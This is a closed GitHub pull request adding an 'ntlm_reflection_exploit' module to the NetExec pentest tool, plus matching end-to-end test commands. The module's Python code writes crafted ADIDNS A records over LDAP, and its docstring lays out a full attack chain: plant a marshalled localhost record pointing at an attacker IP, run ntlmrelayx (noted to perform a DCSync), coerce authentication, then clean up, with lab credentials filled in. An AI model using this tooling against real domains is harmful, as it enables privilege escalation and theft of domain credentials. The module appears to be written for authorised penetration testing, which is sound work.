Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
325 changes: 325 additions & 0 deletions nxc/modules/ntlm_reflection_exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,325 @@
import ssl
import sys
import socket
import dns.resolver
import ldap3
from impacket.structure import Structure
from ldap3 import Tls
from nxc.helpers.misc import CATEGORY

class DNS_RECORD(Structure):
structure = (
('DataLength', '<H-Data'),
('Type', '<H'),
('Version', 'B=5'),
('Rank', 'B'),
('Flags', '<H=0'),
('Serial', '<L'),
('TtlSeconds', '>L'),
('Reserved', '<L=0'),
('TimeStamp', '<L=0'),
('Data', ':')
)


class DNS_RPC_RECORD_A(Structure):
structure = (('address', ':'),)

def fromCanonical(self, canonical):
self['address'] = socket.inet_aton(canonical)

def formatCanonical(self):
return socket.inet_ntoa(self['address'])

def ldap2domain(ldap_dn):
"""Convert defaultNamingContext to domain FQDN."""
parts = []
for comp in ldap_dn.split(','):
comp = comp.strip()
if comp.upper().startswith('DC='):
parts.append(comp[3:])
return '.'.join(parts)


def new_record_a(ttl, serial, ip):
"""Build a DNS_RECORD for an A record."""
nr = DNS_RECORD()
nr['Type'] = 1
nr['Serial'] = serial
nr['TtlSeconds'] = ttl
nr['Rank'] = 240
a_data = DNS_RPC_RECORD_A()
a_data.fromCanonical(ip)
nr['Data'] = a_data
return nr


def get_next_serial(dnsserver, dc, zone, tcp):
"""Resolve SOA and increment serial."""
resolver = dns.resolver.Resolver()
server = dnsserver if dnsserver else dc

try:
socket.inet_aton(server)
resolver.nameservers = [server]
except OSError:
# Not an IP; let system resolver handle it
pass

answers = resolver.resolve(zone, 'SOA', tcp=tcp)
for answer in answers:
return answer.serial + 1
return 1

class NXCModule:
name = "ntlm_reflection_exploit"
description = "Add, list, or cleanup ADIDNS A records (LDAP/LDAPS) for NTLM reflection/relay"
supported_protocols = ["ldap"]
multiple_hosts = True
opsec_safe = False
category = CATEGORY.PRIVILEGE_ESCALATION

# -------------------------
# Parse Operator Options
# -------------------------
def options(self, context, module_options):
"""
RECORD=<string> Required. DNS record label to create/delete/list.
Example: RECORD="localhostXYZ"

DATA=<ip(s)> Required for ADD mode. One or more IPv4 addresses.
Example: DATA="192.168.1.10 192.168.1.11"

LIST=<true/false> List the DNS node and all A records.
Example: LIST=true

CLEANUP=<true/false> Hard delete the dnsNode (Option A).
Example: CLEANUP=true

ZONE=<fqdn> Optional. DNS zone. Defaults to the AD domain.
Example: ZONE="north.sevenkingdoms.local"

DNSIP=<ip> Optional. DNS server to query for SOA serial.
Example: DNSIP=192.168.56.11

TTL=<seconds> Optional. TTL for A records. Default: 180.

TCP=<true/false> Optional. Use TCP for SOA lookup.

EX:

Use on a machine that has signing False

nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" DATA="192.168.18.43"

nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" LIST=true

ntlmrelayx.py -smb2support -t smb://192.168.56.11

****REMEMBER NTLMRELAY WITH NO ARGUMENTS WILL CONDUCT A DCSYNC****

nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane -M coerce_plus -o L='localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' M=pe

nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" CLEANUP=true

nxc ldap 192.168.56.11 -u 'north.sevenkingdoms.local\\samwell.tarly' -p Heartsbane -M ntlm_reflection_exploit -o RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" LIST=true
"""

self.record_name = module_options.get("RECORD")
if not self.record_name:
context.log.error("RECORD option is required")
sys.exit(1)

# Modes
self.list_only = str(module_options.get("LIST", "")).lower() in ["true", "1", "yes", "y"]
self.cleanup = str(module_options.get("CLEANUP", "")).lower() in ["true", "1", "yes", "y"]

# DATA only required for ADD mode
if not self.list_only and not self.cleanup:
if "DATA" not in module_options:
context.log.error("DATA option is required unless LIST or CLEANUP is used")
sys.exit(1)
raw_data = module_options["DATA"]
self.ips = [x.strip() for x in raw_data.replace(",", " ").split() if x.strip()]
if not self.ips:
context.log.error("No valid IPs parsed from DATA")
sys.exit(1)
else:
self.ips = []

# Optional parameters
self.zone = module_options.get("ZONE")
self.dns_ip = module_options.get("DNSIP")
self.ttl = int(module_options.get("TTL", 180))
self.use_tcp = str(module_options.get("TCP", "")).lower() in ["true", "1", "yes", "y"]

# -------------------------
# Main Execution
# -------------------------
def on_login(self, context, connection):
ldap_host = connection.host
ldap_port = int(getattr(connection, "port", 389))
use_ldaps = ldap_port == 636

bind_user = connection.username or ""
bind_pass = connection.password or ""
domain = connection.domain or ""

context.log.info(f"[{self.name}] Connecting to LDAP {ldap_host}:{ldap_port} (LDAPS={use_ldaps})")

tls = Tls(
validate=ssl.CERT_NONE,
version=ssl.PROTOCOL_TLSv1_2,
ciphers="ALL:@SECLEVEL=0"
) if use_ldaps else None

server = ldap3.Server(
ldap_host,
use_ssl=use_ldaps,
port=ldap_port,
get_info=ldap3.ALL,
tls=tls
)

bind_name = bind_user
if domain and "@" not in bind_user and "\\" not in bind_user:
bind_name = f"{bind_user}@{domain}"

try:
conn = ldap3.Connection(server, user=bind_name, password=bind_pass, auto_bind=True)
context.log.info(f"[{self.name}] LDAP bind successful as {bind_name}")
except Exception as e:
context.log.error(f"[{self.name}] LDAP bind failed: {e}")
return

# -------------------------
# Determine base DN (RootDSE)
# -------------------------
base_dn = None

# First attempt: explicit RootDSE query for defaultNamingContext
try:
if conn.search(
search_base='',
search_filter='(objectClass=*)',
search_scope=ldap3.BASE,
attributes=['defaultNamingContext']
):
entry = conn.entries[0]
if hasattr(entry, 'defaultNamingContext'):
base_dn = entry.defaultNamingContext.value
except Exception:
pass

# Fallback: use ldap3 server info
if not base_dn:
try:
base_dn = conn.server.info.other['defaultNamingContext'][0]
except Exception as e:
context.log.error(f"[{self.name}] Could not determine base DN: {e}")
conn.unbind()
return

domain_fqdn = ldap2domain(base_dn)
zone = self.zone if self.zone else domain_fqdn

dnsroot = f"CN=MicrosoftDNS,DC=DomainDnsZones,{base_dn}"
searchtarget = f"DC={zone},{dnsroot}"

escaped = ldap3.utils.conv.escape_filter_chars(self.record_name)
search_filter = f"(&(objectClass=dnsNode)(name={escaped}))"

conn.search(searchtarget, search_filter, attributes=["dnsRecord", "name"])
targetentry = next((e for e in conn.response if e["type"] == "searchResEntry"), None)

# -------------------------
# LIST MODE
# -------------------------
if self.list_only:
if not targetentry:
context.log.highlight(f'[LIST] dnsNode "{self.record_name}" not found in zone "{zone}"')
conn.unbind()
return

context.log.highlight(f'[LIST] dnsNode DN: {targetentry["dn"]}')
for record in targetentry["raw_attributes"]["dnsRecord"]:
dr = DNS_RECORD(record)
if dr["Type"] == 1:
a = DNS_RPC_RECORD_A(dr["Data"])
context.log.highlight(f" A → {a.formatCanonical()} (Serial {dr['Serial']})")

conn.unbind()
return

# -------------------------
# CLEANUP MODE
# -------------------------
if self.cleanup:
if not targetentry:
context.log.highlight(f'[CLEANUP] dnsNode "{self.record_name}" not found (nothing to delete)')
conn.unbind()
return

dn = targetentry["dn"]
context.log.highlight(f'[CLEANUP] Deleting dnsNode "{self.record_name}"...')
conn.delete(dn)

if conn.result["result"] == 0:
context.log.highlight(f'[CLEANUP] Successfully deleted "{self.record_name}"')
else:
context.log.error(f'[CLEANUP] Delete failed: {conn.result}')

conn.unbind()
return

# -------------------------
# ADD MODE
# -------------------------
if targetentry:
context.log.error(
f'DNS node "{self.record_name}" already exists in zone "{zone}".\n'
f'This module does not modify existing nodes.\n'
f'Use CLEANUP=True if you need to remove it.'
)
conn.unbind()
return

# Compute serial
try:
serial = get_next_serial(self.dns_ip, ldap_host, zone, self.use_tcp)
except Exception as e:
context.log.error(f"[{self.name}] Failed to get SOA serial for zone {zone}: {e}")
serial = 1

record_blobs = []
for ip in self.ips:
try:
socket.inet_aton(ip)
except OSError:
context.log.error(f"[{self.name}] Invalid IPv4 address in DATA: {ip}")
conn.unbind()
return

rec = new_record_a(self.ttl, serial, ip)
record_blobs.append(rec.getData())

record_dn = f"DC={self.record_name},{searchtarget}"
node_data = {
"objectCategory": f"CN=Dns-Node,{server.info.other['schemaNamingContext'][0]}",
"dNSTombstoned": False,
"name": self.record_name,
"dnsRecord": record_blobs,
}

context.log.highlight(
f'Creating new dnsNode "{self.record_name}" in zone "{zone}" with {len(record_blobs)} A record(s)...'
)

conn.add(record_dn, ["top", "dnsNode"], node_data)

if conn.result["result"] == 0:
context.log.highlight(f'Successfully created dnsNode "{self.record_name}"')
else:
context.log.error(f"[{self.name}] LDAP add failed: {conn.result}")

conn.unbind()
5 changes: 4 additions & 1 deletion tests/e2e_commands.txt
Original file line number Diff line number Diff line change
Expand Up @@ -230,6 +230,9 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-de
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection_exploit -o RECORD="LOCALHOST RECORD" DATA="LHOST"
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection_exploit -o RECORD="LOCALHOST RECORD" LIST=true
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection_exploit -o RECORD="LOCALHOST RECORD" CLEANUP=true
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
Expand Down Expand Up @@ -316,4 +319,4 @@ netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
netexec nfs TARGET_HOST -u "" -p "" --shares
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test